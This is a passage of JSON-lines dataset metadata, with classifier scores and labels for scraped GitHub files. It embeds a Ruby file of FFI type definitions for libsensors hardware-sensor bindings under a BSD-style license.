0.0037079199628979294, "Transcript / Interview": 4.255121838015355e-05, "Tutorial / How-To Guide": 0.000541937491530638, "User Reviews": 2.5582242164922985e-05, "NONE": 0.9926278501003583}, "structured_records": {"false": 0.9964549742236148, "true": 0.0035450257763851886}, "procedural_steps": {"false": 0.9992568461938046, "true": 0.0007431538061953684}, "worked_solution": {"false": 0.9983122437469899, "true": 0.0016877562530100603}, "contextual_dialogue": {"false": 0.9999903051423585, "true": 9.694857641471471e-06}, "content_quality": {"-2": 0.06924553827652129, "-1": 0.40364323643821753, "0": 0.3700161951275352, "1": 0.12304742268180574, "2": 0.034047607475920366}, "noise_severity": {"0": 0.605850154855029, "1": 0.22190970834076962, "2": 0.13192629815071047, "3": 0.0326184736063793, "4": 0.007695365047111581}, "missing_content_severity": {"0": 0.9363351290795738, "1": 0.03549017793786892, "2": 0.020122562473503167, "3": 0.006340144552788835, "4": 0.0017119859562651281}, "factual_density": {"0": 0.031497156329449015, "1": 0.07799365221502502, "2": 0.20884628188152266, "3": 0.40338531106434544, "4": 0.27827759850965783}, "pretraining_utility": {"-2": 0.02745197235496195, "-1": 0.25343856530708514, "0": 0.4909400247304405, "1": 0.19839288940805544, "2": 0.029776548199456822}, "math_density": {"0": 0.6950586674634115, "1": 0.19245481344286736, "2": 0.0392318278210203, "3": 0.021626031695344855, "4": 0.05162865957735597}, "code_density": {"0": 0.00020335319791998723, "1": 0.0004305258208956355, "2": 0.012341632017712193, "3": 0.08284187941831496, "4": 0.9041826095451572}, "reasoning_density": {"0": 0.7776345115196799, "1": 0.053772446903403825, "2": 0.0937036600168794, "3": 0.03806953168859876, "4": 0.03681984987143804}, "education_level": {"none": 0.002282087393040111, "0": 0.0018990671770259186, "1": 0.030546705073493656, "2": 0.8099306829165415, "3": 0.1448343054674362, "4": 0.010507151972462684}, "creative_writing_quality": {"not_applicable": 0.999060603273023, "-2": 0.0002612479704425896, "-1": 0.0003221244374136654, "0": 0.00027291990368469033, "1": 5.554307251384483e-05, "2": 2.7561342922264677e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 7.09184381891888e-05, "Art & Design": 0.00010428770114958133, "Law & Crime": 9.612991813765743e-05, "Education & Careers": 0.04113787024087833, "Entertainment & Media": 0.0001274406880098167, "Fashion & Beauty": 8.199601347020903e-05, "Business, Economics & Finance": 0.0002332737997771372, "Food & Dining": 8.668896399595433e-05, "Games & Gaming": 0.0008913545855118931, "Electronics & Hardware": 0.00012220528187029906, "Health, Healthcare & Wellness": 8.910689819524737e-05, "History & Geography": 8.819000878401842e-05, "Home, Pets & Hobbies": 7.664850647025478e-05, "Industry & Production": 7.449371662105313e-05, "Language, Literature & Philosophy": 8.491153238011655e-05, "Politics & Government": 5.87551390517035e-05, "Religion & Spirituality": 8.689726054498505e-05, "Science, Mathematics & Engineering": 0.00031784424056165286, "Relationships & Community": 8.863634185822056e-05, "Software Usage & Applications": 0.0004281273273399703, "Programming & Software Engineering": 0.9528337907630152, "Sports & Fitness": 0.00012155263607320573, "Vehicles & Transportation": 5.7331494731885264e-05, "Travel & Tourism": 0.00011738998048714739, "Other / Uncovered Subject": 0.002250276178408767, "Unknown / Insufficient Content": 0.00027388234448630957}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007266191448979827, "Art & Design": 0.000732227653180615, "Law & Crime": 0.0007994110593138744, "Education & Careers": 0.20835159545697451, "Entertainment & Media": 0.0008617590460167329, "Fashion & Beauty": 0.0004186354008475788, "Business, Economics & Finance": 0.0013100816220465474, "Food & Dining": 0.0004097678846981901, "Games & Gaming": 0.0013335517936591734, "Electronics & Hardware": 0.0006065395138011221, "Health, Healthcare & Wellness": 0.0005232036946481596, "History & Geography": 0.00039632598178929466, "Home, Pets & Hobbies": 0.00036386505534906073, "Industry & Production": 0.00031043376113862846, "Language, Literature & Philosophy": 0.00034799954828125215, "Politics & Government": 0.0003770335377364381, "Religion & Spirituality": 0.0005427473524699433, "Science, Mathematics & Engineering": 0.0010379552985651005, "Relationships & Community": 0.0003848091671824979, "Software Usage & Applications": 0.0010476745334126378, "Programming & Software Engineering": 0.04929481278013309, "Sports & Fitness": 0.0003577312191053599, "Vehicles & Transportation": 0.00020472183030780831, "Travel & Tourism": 0.000579744592450919, "Other / Uncovered Subject": 0.003427113480694439, "NONE": 0.7252536395912991}}, "probabilities": {"primary": {"Academic Writing": 5.386736008630203e-05, "Content Listing": 2.7457945983420207e-05, "Creative Writing": 2.7000919723592935e-05, "Customer Support Page": 1.0034751951545732e-05, "Q&A Forum": 1.6907793559657733e-05, "Discussion Thread": 1.0229147438886181e-05, "Comment Section": 2.0207659228560474e-05, "Missing Content": 5.57588586008658e-05, "Knowledge Article": 6.898760987108326e-05, "Legal Notices": 4.087415697158126e-05, "News Article": 6.055005884321817e-06, "Organizational Announcement": 1.3376307257121693e-05, "Nonfiction Writing": 1.5568451996078248e-05, "Organizational About Page": 1.575322238931067e-05, "Personal About Page": 2.0520501135948043e-05, "Personal Blog": 1.1290603686397441e-05, "Product Page": 1.1272276041494782e-05, "Spam / Ads": 1.4955159222618961e-05, "Structured Data": 0.0005112845206403969, "Technical Writing": 0.9967421848913288, "Transcript / Interview": 2.024461722689522e-05, "Tutorial / How-To Guide": 0.0002791826219235976, "User Reviews": 9.895527969940241e-06, "Other / Unknown": 0.0019970900898816576}, "secondary": {"Academic Writing": 0.0001196217950947394, "Content Listing": 7.347568635041381e-05, "Creative Writing": 9.230552211358569e-05, "Customer Support Page": 3.602125669927118e-05, "Q&A Forum": 4.027247134065508e-05, "Discussion Thread": 2.6639302294786476e-05, "Comment Section": 0.00024747287062973957, "Missing Content": 0.0005880667801683739, "Knowledge Article": 0.0002131013108864225, "Legal Notices": 0.00011421545515518874, "News Article": 3.9079678708247444e-05, "Organizational Announcement": 4.151554525690174e-05, "Nonfiction Writing": 4.3790565306105853e-05, "Organizational About Page": 5.523506747560558e-05, "Personal About Page": 4.457063318294719e-05, "Personal Blog": 4.069391005245445e-05, "Product Page": 3.397576790908571e-05, "Spam / Ads": 6.137832552495311e-05, "Structured Data": 0.0020919042952147696, "Technical Writing": 0.00632362222919663, "Transcript / Interview": 5.669017503109875e-05, "Tutorial / How-To Guide": 0.0006228540771890808, "User Reviews": 2.427945283125174e-05, "NONE": 0.9889692178263877}, "tertiary": {"Academic Writing": 8.978220930583986e-05, "Content Listing": 8.944561569751113e-05, "Creative Writing": 8.496121407344258e-05, "Customer Support Page": 3.233310960564731e-05, "Q&A Forum": 4.057155524664046e-05, "Discussion Thread": 2.5036336751604214e-05, "Comment Section": 0.0002595940677903218, "Missing Content": 0.0008777667098184855, "Knowledge Article": 0.00020397508236363846, "Legal Notices": 0.00012680219945057557, "News Article": 3.60173230769365e-05, "Organizational Announcement": 3.670319091810114e-05, "Nonfiction Writing": 4.7562458650420374e-05, "Organizational About Page": 6.050551236809085e-05, "Personal About Page": 3.9304759539906334e-05, "Personal Blog": 3.602699356100812e-05, "Product Page": 3.4620843492712984e-05, "Spam / Ads": 5.96802750273567e-05, "Structured Data": 0.0008734695279297971, "Technical Writing": 0.00370791996289793, "Transcript / Interview": 4.255121838015356e-05, "Tutorial / How-To Guide": 0.0005419374915306381, "User Reviews": 2.558224216492299e-05, "NONE": 0.9926278501003584}, "structured_records": {"false": 0.9964549742236148, "true": 0.0035450257763851886}, "procedural_steps": {"false": 0.9992568461938046, "true": 0.0007431538061953684}, "worked_solution": {"false": 0.9983122437469899, "true": 0.0016877562530100603}, "contextual_dialogue": {"false": 0.9999903051423585, "true": 9.694857641471471e-06}, "content_quality": {"-2": 0.06924553827652127, "-1": 0.4036432364382174, "0": 0.37001619512753514, "1": 0.12304742268180571, "2": 0.03404760747592036}, "noise_severity": {"0": 0.605850154855029, "1": 0.22190970834076962, "2": 0.13192629815071047, "3": 0.0326184736063793, "4": 0.007695365047111581}, "missing_content_severity": {"0": 0.936335129079574, "1": 0.035490177937868926, "2": 0.02012256247350317, "3": 0.006340144552788836, "4": 0.0017119859562651283}, "factual_density": {"0": 0.031497156329449015, "1": 0.07799365221502502, "2": 0.20884628188152266, "3": 0.40338531106434544, "4": 0.27827759850965783}, "pretraining_utility": {"-2": 0.027451972354961954, "-1": 0.2534385653070852, "0": 0.49094002473044057, "1": 0.19839288940805547, "2": 0.029776548199456826}, "math_density": {"0": 0.6950586674634115, "1": 0.19245481344286736, "2": 0.0392318278210203, "3": 0.021626031695344855, "4": 0.05162865957735597}, "code_density": {"0": 0.00020335319791998726, "1": 0.00043052582089563555, "2": 0.012341632017712195, "3": 0.08284187941831497, "4": 0.9041826095451573}, "reasoning_density": {"0": 0.77763451151968, "1": 0.05377244690340383, "2": 0.09370366001687941, "3": 0.038069531688598765, "4": 0.03681984987143805}, "education_level": {"none": 0.002282087393040111, "0": 0.0018990671770259186, "1": 0.030546705073493656, "2": 0.8099306829165415, "3": 0.1448343054674362, "4": 0.010507151972462684}, "creative_writing_quality": {"not_applicable": 0.999060603273023, "-2": 0.0002612479704425896, "-1": 0.0003221244374136654, "0": 0.00027291990368469033, "1": 5.554307251384483e-05, "2": 2.7561342922264677e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 7.091843818918882e-05, "Art & Design": 0.00010428770114958136, "Law & Crime": 9.612991813765746e-05, "Education & Careers": 0.04113787024087834, "Entertainment & Media": 0.00012744068800981672, "Fashion & Beauty": 8.199601347020904e-05, "Business, Economics & Finance": 0.00023327379977713725, "Food & Dining": 8.668896399595434e-05, "Games & Gaming": 0.0008913545855118933, "Electronics & Hardware": 0.0001222052818702991, "Health, Healthcare & Wellness": 8.910689819524738e-05, "History & Geography": 8.819000878401843e-05, "Home, Pets & Hobbies": 7.664850647025479e-05, "Industry & Production": 7.449371662105314e-05, "Language, Literature & Philosophy": 8.491153238011657e-05, "Politics & Government": 5.875513905170351e-05, "Religion & Spirituality": 8.689726054498506e-05, "Science, Mathematics & Engineering": 0.0003178442405616529, "Relationships & Community": 8.863634185822057e-05, "Software Usage & Applications": 0.0004281273273399704, "Programming & Software Engineering": 0.9528337907630154, "Sports & Fitness": 0.00012155263607320576, "Vehicles & Transportation": 5.733149473188528e-05, "Travel & Tourism": 0.00011738998048714742, "Other / Uncovered Subject": 0.0022502761784087676, "Unknown / Insufficient Content": 0.0002738823444863096}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007266191448979827, "Art & Design": 0.000732227653180615, "Law & Crime": 0.0007994110593138744, "Education & Careers": 0.20835159545697451, "Entertainment & Media": 0.0008617590460167329, "Fashion & Beauty": 0.0004186354008475788, "Business, Economics & Finance": 0.0013100816220465474, "Food & Dining": 0.0004097678846981901, "Games & Gaming": 0.0013335517936591734, "Electronics & Hardware": 0.0006065395138011221, "Health, Healthcare & Wellness": 0.0005232036946481596, "History & Geography": 0.00039632598178929466, "Home, Pets & Hobbies": 0.00036386505534906073, "Industry & Production": 0.00031043376113862846, "Language, Literature & Philosophy": 0.00034799954828125215, "Politics & Government": 0.0003770335377364381, "Religion & Spirituality": 0.0005427473524699433, "Science, Mathematics & Engineering": 0.0010379552985651005, "Relationships & Community": 0.0003848091671824979, "Software Usage & Applications": 0.0010476745334126378, "Programming & Software Engineering": 0.04929481278013309, "Sports & Fitness": 0.0003577312191053599, "Vehicles & Transportation": 0.00020472183030780831, "Travel & Tourism": 0.000579744592450919, "Other / Uncovered Subject": 0.003427113480694439, "NONE": 0.7252536395912991}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10499, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10499, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:37:11.406920+00:00", "scoring_key_slot": "primary", "dataset_uid": "9a87ab8c-3da7-455e-ab9a-8b83154192ec", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "1fe0700b213dfc43f637cbdad79ee5ce0a1e2f423c4b96f62b7ed3f9d2ecc239", "source_metadata": {"uuid": "9a87ab8c-3da7-455e-ab9a-8b83154192ec", "repo_name": "hyerania/Course-Evaluation-System", "relative_path": "app/controllers/questions_controller.rb", "category": "WEB", "algo_rel_score": 0.9753919839859009, "quality_score": 3.2972137928009033, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 212, "repo_created_at": "2018-02-25T04:41:02.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 4, "forks": 2, "issues": 0, "pull_requests": 3}, "file_meta": {"content_id": "704c2faddc2801c17ad9b635b05b1084ed95a50a", "size_bytes": 8103, "file_timestamp": 1525540369, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "1fd786c697740e611728b1a2c7d3cf89d55d1f27"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 212, "repo_created_at": "2018-02-25T04:41:02.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 4, "forks": 2, "issues": 0, "pull_requests": 3}, "file_meta": {"content_id": "704c2faddc2801c17ad9b635b05b1084ed95a50a", "size_bytes": 8103, "file_timestamp": 1525540369, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "1fd786c697740e611728b1a2c7d3cf89d55d1f27", "url": "https://github.com/hyerania/Course-Evaluation-System/blob/1fd786c697740e611728b1a2c7d3cf89d55d1f27/app/controllers/questions_controller.rb"}, "gpt4o_tokens": 1970, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": -0.3509916753576136, "noise_severity": 0.6143991856497748, "missing_content_severity": 0.1016036803683023, "factual_density": 2.818952543209738, "pretraining_utility": -0.050396524210039984, "math_density": 0.5423112024803664, "code_density": 3.890369866291894, "reasoning_density": 0.5026677614887112, "education_level": 2.131804559508415, "creative_writing_quality": -0.7813042124410101}, "score_applicability": {"education_level": 0.99771791260696, "creative_writing_quality": 0.0009393967269770548}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/meh/ruby-sensors/blob/366eb95ef5474928986a953ed94e52acbdcb4769/lib/sensors/c/types.rb", "id": "ruby-0-00bf3a33aee54978b7bb6db569f0cfde", "text": "#--\n# Copyleft meh. [http://meh.paranoid.pk | ]\n#\n# Redistribution and use in source and binary forms, with or without modification, are\n# permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, this list of\n# conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice, this list\n# of conditions and the following disclaimer in the documentation and/or other materials\n# provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY meh ''AS IS'' AND ANY EXPRESS OR IMPLIED\n# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n# FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL meh OR\n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n# The views and conclusions contained in the software and documentation are those of the\n# authors and should not be interpreted as representing official policies, either expressed\n# or implied.\n#++\n\nmodule Sensors; module C\n\n# :string, :libsensors_version # TODO: look how to get an extern var\n\nBusType = FFI::Enum.new([\n :any, -1,\n :i2c,\n :isa,\n :pci,\n :spi,\n :virtual,\n :acpi,\n :hid\n])\n\nmodule BusNumber\n Any = -1\n Ignore = -2\nend\n\nclass BusId < FFI::Struct\n layout \\\n :type, :short,\n :nr, :short\nend\n\nclass ChipName < FFI::Struct\n layout \\\n :prefix, :string,\n :bus, BusId,\n :addr, :int,\n :path, :string\nend\n\nFeatureType = FFI::Enum.new([\n :in, 0x00,\n :fan, 0x01,\n :temp, 0x02,\n :power, 0x03,\n :energy, 0x04,\n :curr, 0x05,\n :humidity, 0x06,\n :max_main,\n :vid, 0x10,\n :intrusion, 0x11,\n :max_other,\n :beep_enable, 0x18\n# :unknown, INT_MAX\n])\n\nSubfeatureType = FFI::Enum.new([\n :in_input, FeatureType[:in] << 8,\n :in_min,\n :in_max,\n :in_lcrit,\n :in_crit,\n :in_alarm, (FeatureType[:in] << 8) | 0x80,\n :in_min_alarm,\n :in_max_alarm,\n :in_beep,\n :in_lcrit_alarm,\n :in_crit_alarm,\n\n :fan_input, FeatureType[:fan] << 8,\n :fan_min,\n :fan_alarm, (FeatureType[:fan] << 8) | 0x80,\n :fan_fault,\n :fan_div,\n :fan_beep,\n :fan_pulses,\n\n :temp_input, FeatureType[:temp] << 8,\n :temp_max,\n :temp_max_hyst,\n :temp_min,\n :temp_crit,\n :temp_crit_hyst,\n :temp_lcrit,\n :temp_emergency,\n :temp_emergency_hist,\n :temp_alarm, (FeatureType[:temp] << 8) | 0x80,\n :temp_max_alarm,\n :temp_min_alarm,\n :temp_crit_alarm,\n :temp_fault,\n :temp_type,\n :temp_offset,\n :temp_beep,\n :temp_emergency_alarm,\n :temp_lcrit_alarm,\n\n :power_average, FeatureType[:power] << 8,\n :power_average_highest,\n :power_average_lowest,\n :power_input,\n :power_input_highest,\n :power_input_lowest,\n :power_cap,\n :power_cap_hyst,\n :power_max,\n :power_crit,\n :power_average_interval, (FeatureType[:power] << 8) | 0x80,\n :power_alarm,\n :power_cap_alarm,\n :power_max_alarm,\n :power_crit_alarm,\n\n :energy_input, FeatureType[:energy] << 8,\n\n :curr_input, FeatureType[:curr] << 8,\n :curr_min,\n :curr_max,\n :curr_lcrit,\n :curr_crit,\n :curr_alarm, (FeatureType[:curr] << 8) | 0x80,\n :curr_min_alarm,\n :curr_max_alarm,\n :curr_beep,\n :curr_lcrit_alarm,\n :curr_crit_alarm,\n\n :humidity_input, FeatureType[:humidity] << 8,\n\n :vid, FeatureType[:vid] << 8,\n\n :intrusion_alarm, FeatureType[:intrusion] << 8,\n :intrusion_beep\n\n# :unknown, INT_MAX\n])\n\nclass Feature < FFI::Struct\n layout \\\n :name, :string,\n :number, :int,\n :type, FeatureType,\n :mapping, :int,\n :flags, :uint\nend\n\nclass Subfeature < FFI::Struct\n layout \\\n :name, :string,\n :number, :int,\n :type, SubfeatureType,\n :mapping, :int,\n :flags, :uint\nend\n\nend; end\n", "text_preview": "#-- # Copyleft meh. [http://meh.paranoid.pk | ] # # Redistribution and use in source and binary forms, with or without modification, are # permitted provided that the following conditions are met: # # 1. Redistributions of source cod", "input_sha256": "7273bef25edade9db37d6e8baf900fb0c67a3c2bc3004e0dfad294c44fb8930c", "text_sha256": "00bf3a33aee54978b7bb6db569f0cfdec7ea2572782f9eb9b520a05eb087e0bc", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16124, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": {"main_format": "Legal Notices", "sub_format": null}, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 1, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.200574448121119, "noise_severity": 0.8812645806451057, "missing_content_severity": 0.2058767095111969, "factual_density": 3.51608832342867, "pretraining_utility": 0.08002639212236265, "math_density": 0.4804350200110375, "code_density": 3.507234225185483, "reasoning_density": 0.019310143599978305, "education_level": 2.5453008989950545, "creative_writing_quality": -0.2114237431814848}, "api_choices": {"primary": "Technical Writing", "secondary": "Legal Notices", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.7480868365870316, "secondary_choice": "Legal Notices", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9742359019187725, "secondary": 0.7966867874002549, "tertiary": 0.8647846651343754, "structured_records": 0.4963708561220131, "procedural_steps": 0.0004401075671868682, "worked_solution": 0.0001219854234843901, "contextual_dialogue": 5.292544350700786e-06, "content_quality": 0.5715221861248915, "noise_severity": 0.6169509916757838, "missing_content_severity": 0.8284360754073359, "factual_density": 0.5967402695238917, "pretraining_utility": 0.528218219810286, "math_density": 0.5996374833241355, "code_density": 0.5893618543212356, "reasoning_density": 0.9839082136666848, "education_level": 0.43000353648394934, "creative_writing_quality": 0.9989176724377955, "primary_topic": 0.9384661985825267, "secondary_topic": 0.5914680819653759}, "probability_margin": {"primary": 0.9585610243645962, "secondary": 0.6816358200389363, "tertiary": 0.8133473027488972, "education_level": 0.1486193859042677, "creative_writing_quality": 0.9986259132726837, "primary_topic": 0.8884073123961275, "secondary_topic": 0.3669810862710891}, "raw_probabilities": {"primary": {"Academic Writing": 4.277448283494357e-05, "Content Listing": 4.6849457320185564e-05, "Creative Writing": 2.887064269726141e-05, "Customer Support Page": 1.4098170955422722e-05, "Q&A Forum": 1.914763661086571e-05, "Discussion Thread": 1.839896198815401e-05, "Comment Section": 2.57158212066225e-05, "Missing Content": 3.962723576972047e-05, "Knowledge Article": 7.090053745570822e-05, "Legal Notices": 0.016748381640894143, "News Article": 1.0169945879838464e-05, "Organizational Announcement": 2.72867726904088e-05, "Nonfiction Writing": 2.0238916725932854e-05, "Organizational About Page": 3.423502489399898e-05, "Personal About Page": 1.8732429659451653e-05, "Personal Blog": 1.5349088250351422e-05, "Product Page": 1.591945182777875e-05, "Spam / Ads": 1.6138995390274268e-05, "Structured Data": 0.0061278429470331955, "Technical Writing": 0.9753094060054903, "Transcript / Interview": 2.948766468089106e-05, "Tutorial / How-To Guide": 5.642461165224771e-05, "User Reviews": 1.149946667294054e-05, "Other / Unknown": 0.001252504091419491}, "secondary": {"Academic Writing": 0.0004374492898894942, "Content Listing": 0.0005001762892493179, "Creative Writing": 0.00048712578665109586, "Customer Support Page": 0.0002029169196348323, "Q&A Forum": 0.00023394750704508162, "Discussion Thread": 0.00022949750196985357, "Comment Section": 0.00039577711546929985, "Missing Content": 0.0005132701566636953, "Knowledge Article": 0.0007021658955273676, "Legal Notices": 0.8051581712585776, "News Article": 0.00028874779038764856, "Organizational Announcement": 0.00039034931158281783, "Nonfiction Writing": 0.0003057825426094037, "Organizational About Page": 0.00039573465546919245, "Personal About Page": 0.0003116980565602862, "Personal Blog": 0.00020910906751901373, "Product Page": 0.00028607536351025136, "Spam / Ads": 0.00029759573486111835, "Structured Data": 0.022138650751952264, "Technical Writing": 0.04225281910692024, "Transcript / Interview": 0.0003423957060953862, "Tutorial / How-To Guide": 0.0002597201446149879, "User Reviews": 0.00013847282759867324, "NONE": 0.12352235121964122}, "tertiary": {"Academic Writing": 0.00047012262610067007, "Content Listing": 0.00039187199101241266, "Creative Writing": 0.0003955919633191107, "Customer Support Page": 0.00018006102908222447, "Q&A Forum": 0.0001512143102396494, "Discussion Thread": 0.00018178132499261387, "Comment Section": 0.0003122080757406232, "Missing Content": 0.0014059959460376694, "Knowledge Article": 0.0007829674082581998, "Legal Notices": 0.05707133467154576, "News Article": 0.0002562211400807015, "Organizational Announcement": 0.00026820189048276243, "Nonfiction Writing": 0.0002401286530414911, "Organizational About Page": 0.00031682808889303444, "Personal About Page": 0.0003384455152046515, "Personal Blog": 0.00020116043743591378, "Product Page": 0.00017223311839779614, "Spam / Ads": 0.00032861754044714034, "Structured Data": 0.05704347461123923, "Technical Writing": 0.008446924394162475, "Transcript / Interview": 0.00022490914241587317, "Tutorial / How-To Guide": 0.00029662834023841427, "User Reviews": 0.00010444036118838359, "NONE": 0.870418637420443}, "structured_records": {"false": 0.503629143877987, "true": 0.4963708561220131}, "procedural_steps": {"false": 0.9995598924328132, "true": 0.0004401075671868682}, "worked_solution": {"false": 0.9998780145765156, "true": 0.0001219854234843901}, "contextual_dialogue": {"false": 0.9999947074556493, "true": 5.292544350700786e-06}, "content_quality": {"-2": 0.0028520440752852257, "-1": 0.007329256484038097, "0": 0.13358481907057373, "1": 0.4988599679844784, "2": 0.35737391238562455}, "noise_severity": {"0": 0.28919711467197684, "1": 0.5551686929697801, "2": 0.14547653157196874, "3": 0.005487818613709371, "4": 0.00466984217256501}, "missing_content_severity": {"0": 0.8058334758743299, "1": 0.18681208959695056, "2": 0.004185487603311535, "3": 0.0019821429940086338, "4": 0.0011868039313993372}, "factual_density": {"0": 0.0015711614769752275, "1": 0.004623421863426915, "2": 0.059888413485022246, "3": 0.34397993810310384, "4": 0.5899370650714718}, "pretraining_utility": {"-2": 0.013260013673286625, "-1": 0.21653584470607373, "0": 0.48358757796407426, "1": 0.2501508631381213, "2": 0.036465700518444166}, "math_density": {"0": 0.7325292455408032, "1": 0.17458782500986336, "2": 0.024606826846362517, "3": 0.016470869103434215, "4": 0.0518052334995366}, "code_density": {"0": 0.000609373039474219, "1": 0.0014191120129909002, "2": 0.05562654428370171, "3": 0.37481785805024437, "4": 0.5675271126135889}, "reasoning_density": {"0": 0.9848048397490006, "1": 0.011923072673769394, "2": 0.0026337367324447947, "3": 0.00043380591782215573, "4": 0.0002045449269632148}, "education_level": {"none": 0.001488966477240765, "0": 0.0017114143271263155, "1": 0.006432663398322028, "2": 0.5250029470699578, "3": 0.37638356116569005, "4": 0.08898044756166307}, "creative_writing_quality": {"not_applicable": 0.9990980603648296, "-2": 0.00010150782594434985, "-1": 0.0001812237431533179, "0": 0.0004721470921459425, "1": 0.00010057400660284272, "2": 4.648696732386205e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.705482250531607e-05, "Art & Design": 0.00012114081060299495, "Law & Crime": 0.0018455128691905961, "Education & Careers": 7.122010260748547e-05, "Entertainment & Media": 7.349923376740362e-05, "Fashion & Beauty": 8.518505783693436e-05, "Business, Economics & Finance": 0.0001333278607504356, "Food & Dining": 